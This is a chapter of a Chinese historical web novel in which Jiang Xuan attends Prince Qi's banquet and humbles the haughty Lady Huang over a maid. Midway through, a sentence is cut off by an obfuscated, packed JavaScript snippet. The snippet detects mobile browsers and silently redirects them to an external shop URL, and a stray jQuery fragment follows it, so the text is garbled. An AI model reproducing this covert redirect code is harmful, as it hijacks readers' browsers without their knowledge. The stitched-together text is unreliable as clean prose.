如今已经开朝,新年刑部事项繁忙,江祁已然好几夜宿在书房。
等江萱进门,江祁正在处置刑部过年其间遗留的政务。
他见江萱端了一盏银耳羹进来,赶忙放下手中的笔,笑道:“娘子怎么过来了。”
江萱无意干涉江祁在官场上的事,故而江祁在书房办公的时候,江萱鲜少来找他。
而今见了江萱,江祁眼眸不由一亮。
“有件事找你,问问你的意思。”江萱将银耳羹递了过去,道,“先用点银耳羹再说吧。”
“好。”
江祁笑着接过。
江祁爱吃甜的,这碗银耳羹是特意按照江祁的口味调的,其中有红枣、枸杞、蜂蜜,都是滋补的东西。
江祁尝了一口,很是喜欢:“娘子也一并用些吧。”
江萱嫌弃银耳的怪味,不大爱饮,便推拒了江祁的好意。
江祁也不勉强她,不多时,一整晚银耳羹便见了底。
江萱又递了块帕子过去,江祁顺手接过,擦了擦嘴。
江祁攥着帕子,一时舍不得还回去:“娘子适才说有事找我,是什么事值得娘子亲自跑一趟?”
江萱见他不肯还帕子,一时只当他疏忽,便顺着他的话继续往下说。
“是齐王府那边,今儿给我递了帖子过来,邀我们一同去。”
见江萱面色犹豫,江祁瞬间明白了她的顾虑,亲亲握住她的指尖,宽慰道。
“我知晓娘子心中顾虑,若是不想去,尽管称病在家就是。至于齐王那……”
江祁眼底闪过一丝冷意,这丝冷意,连江萱都没有察觉。
“我会去说的,娘子放心。”
江祁的话令江萱心安,齐王此人有时行事过于不拘,又易陷偏执,江萱对其避而远之。
只是,她又想起唐夫人私下叮嘱的话。
“江妹妹可别小巧妇道人家之间的往来,有时比那些个男人之间说话还要管用呢!”
江萱眼眸闪动,良久,她下定了决心。
“不。”她抬眸,撞上江祁不解的神情,莞尔一笑,“我去。”
昔日江舅母在京城时,官场上的是江舅母了解的不必江舅父少,甚至于一些隐秘之处,江舅母反而能比江舅父更早能发觉。
不少世家间的动向,也都是江舅母说与江舅父听。
平心而论,江萱觉得江舅母才智不逊于江舅父,只是碍于女子身份不得入朝为官。
从前,江萱偶尔会为江舅母抱不平。
然那时,江舅母却揉揉她的头,道:“傻孩子,有些事女子并非干不成,只不过换了一种方式罢了。”
那时江萱不懂。
然这些时日的宴会参与下来,江萱隐隐察觉江舅母那时说的话究竟是何意。
何况,逃得了一时,逃不了一世。
齐王,到底是储君有力的竞争人选。
江萱思及此,眼眸一沉。
很快便到了齐王府设宴那日。
今岁宫中宴饮上,齐王多得了陛下赏得两斛东珠,又多加食邑一千户,一时风头无俩。
而萧妃的父亲亦被提携入中书省,担任中书侍郎一职。
因是大宴,男女分席。
江萱便由萧妃身边侍婢引荐入内。
现在还未开席,各家的女眷坐在一处看台上歌舞戏。
江萱粗略扫去一眼,勋贵宗亲,世家寒门,皆有人到场。
且其中几户人家,据江萱所知,素日里与齐王并不亲近,而今也出现在此处。
难不成此次宴会真的只是随意小聚,而非拉拢各家吗?
江萱一时间思考不透齐王办此宴的目的,忽闻身后有人唤她。
“江妹妹!”
唐夫人站在离她不远处朝她招手,在她旁边已然聚了好些妇人,大多是江萱见过的。
“怎么来的这样晚,我们可等你许久了呢。”
唐夫人笑盈盈向江萱介绍那些个不熟的面孔,其中一位黄夫人面色倨傲,颇有些不把这些夫人放在眼里的意味。
“这位是大理寺主簿黄夫人,刚从地方调任上来。”
“黄夫人,这是刑部都官司员外郎的夫人江娘子,出身庐州江氏。”
唐夫人的笑容意味深长,尤其是提到江萱时,故意着重出身。
江萱朝那位看起来十分年轻的黄夫人见了礼。
原先黄夫人只是斜睨了江萱一眼,礼数也颇为敷衍,待听到江萱出身庐州江氏,眉目间倨傲淡了两分,却未完全散去。
“我姓王,娘家太原祁县文公房。不知江娘子出身庐州江氏哪支哪房?”黄夫人看向江萱,颇有些居高临下的感觉。
江萱瞧了眼唐夫人,只见唐夫人朝她眨了眨眼,江萱便明白了。
原是眼前这位黄夫人出身太原王氏,夫君虽只从七品,可论出身甩眼前这群夫人一大截。
看周遭夫人不太爱搭理她的样子,想来在自己来之前,这位黄夫人定是仗着出身给她们不少脸色瞧。
太原王氏共两支,一是太原晋阳,二是太原祁县。
两支下各立房头,其中太原祁县以文公房出名,盖祖上得封王文公,故而以此命名。
而今在京城的,还是以太原晋阳王氏那一支较为出众。
适才黄夫人提及出身,想来对自己的出身很是自傲,故而问及江萱属于哪支哪房。
江萱本不欲与她相争什么,却见唐夫人不断朝她使眼色,只得道:“哪支哪房又有何重要,今日相聚本就是有缘,就不计较这些。”
闻言,黄夫人面上闪过一丝轻蔑,她只当江萱不过是庐州江氏不起眼的旁支子女,更不怕她放在眼中。
江萱只觉得黄夫人莫名其妙,难怪这周遭的夫人没一个理她。
唐夫人见此,索性把江萱拉到身边说话,提起黄夫人,不由暗暗翻了个白眼。
“江妹妹,你是不知道这位黄夫人。适才你没来的时候,仗着自己出身太原王氏,竟敢使唤我身边的人给她递东西,也不看看自己什么身份。”
“唐姐姐莫要生气,许是她出入京城,尚不知礼数……”
江萱本想说和两句,哪知话还没说话,就被唐夫人一把打断。
“屁,你看她那样子,哪有一点世家女子的模样。何况,你看那些个世家夫人姑娘,有一个理睬她的吗?我看呀,就是见讨好不了她们,仗着出身到我们这儿来充面子了。”
江萱顺着唐夫人说的看去,果见不远处黄夫人正捧着一盘糕点往世家夫人的圈子里挤。
然那些夫人像是只当她是哪里来的奴婢,挥挥手让她离去。
黄夫人的脸色瞬间难看极了,只得捧着糕点原路返回。
“你瞧,我说什么来着?”唐夫人忍不住指指点点,语气中满是嘲讽的意味。
江萱好脾气的笑笑,不可置否,便同唐夫人往一旁的小圆桌去。
然她俩还没坐下,江萱便听见黄夫人颐指气使的声音。
“你,过来给我倒茶。”
江萱循声看去,只见黄夫人指了指竹沁,面上满是不屑。
今是正宴,小枣的脾气有时候太过跳脱,唯恐出了事。
江萱便让竹沁与松脂随自己赴宴。
适才自己吩咐竹沁招呼茶水来,哪知回来的半道遇到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555764|203676||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了黄夫人,无措的目光不由向江萱看去。
黄夫人只当她是哪个夫人的丫头,随意使唤。
黄夫人见竹沁看向江萱,瞬间明白竹沁身份,可她并不打算退让,反倒是向江萱挑衅似的笑了笑。
“江娘子,借你丫鬟一用。”
江萱嘴角微微上扬,带着一丝冰冷的笑意:“不行。”
黄夫人全然没聊到江萱会这样直白拒绝,不由愠怒:“江娘子,不过是一个丫鬟而已。”
“我江氏的奴仆,还轮不到外人使唤。”江萱的目光朝黄夫人冷冷射去。
黄夫人适才在世家夫人那圈受了气,正是要找回场面的时候。
何况她只当江萱是庐州江氏微末旁支,哪里比得上自己的出身,一把打翻了茶盏,语气愈发不客气起来。
“江娘子,我好声好气与你说话,你别真把自己当作庐州江氏嫡女!”
此话一出,场面上立刻安静下来。
便是连唐夫人脸色也陡然微妙,神色古怪地看向黄夫人。
“这位娘子你可知道在你面前的是谁家女儿?”离黄夫人最近的一位夫人好心提醒道。
黄夫人不觉自己说错了什么,浑然没有察觉周遭朝她射来或看戏,或鄙夷的目光。
“不就是庐州江氏的女儿吗?我可是太原祁县王氏文公房的后裔!”
那好言相劝的夫人见黄夫人如此桀骜,悄没声与她拉开了距离。
人群中不知谁先笑出了声,江萱循声看去,原是陈琰之妹陈珏。
昔日陈夫人有意将陈珏送入齐王府,为陈琰固宠。
只是后来陈琰还是选了陈氏族女,而陈珏则定了杨家郎君,在江萱回庐州时成了亲。
陈珏饶有兴味地打量着黄夫人:“不知黄夫人是文公第几代后人?”
“家父第八代嫡系子孙。”黄夫人仰着高昂的头颅,很是骄傲。
陈珏却轻笑一声,不依不饶追问道:“哦?那你父亲可在朝中任一官半职?”
黄夫人瞬间变了脸色,却还梗着脖子道:“家父供职于县府之中。”
“哦?在哪个县?是县令、县丞还是县尉呢?”
这话像是一把锋利的刀子,直直往黄夫人身上戳。
“家父……家父……”
黄夫人支支吾吾说不出来,倒是旁边的夫人盈盈一笑,说了出来。
“陈娘子怕是不知道,这黄夫人的爹不过是个经学博士。”
经学博士无品阶,仅负责县学中传道授业解惑。
于一县之中或得人尊重,可在这京城,却有些不够看了。
“怪不得黄娘子不识江娘子呢?原来是从地方上升上来的。”
陈珏虽笑着,眼里却带着淡淡的鄙夷,转头与江萱笑道。
“萱娘,你小舅父与兄长在中书省与御史台可好?”
闻听这话,黄夫人的脸色瞬间煞白。
中书省乃机要之所,御史台更兼监督百官之职。
满京城,还能有哪个江家能入中书省?
黄夫人吓得一时坐不住,整个人像要从椅子上漏下似的。
江萱淡漠喝着茶,本不打算理会这场闹剧。
只是陈珏这话,大有让她亮出身份的意思。
江萱扫了眼浑身瘫软,脸色煞白的黄夫人,笑了笑:“竹沁,我瞧黄夫人冻着了,赶紧去再拿一壶热茶来。”
“不,不……不必了。”黄夫人慌忙起身,连连推拒。
“黄夫人客气了,以后同住京城,还有要往来的时候。”
江萱的嘴角轻轻勾起,做足了和善模样。可这笑容落在黄夫人眼中却不大妙。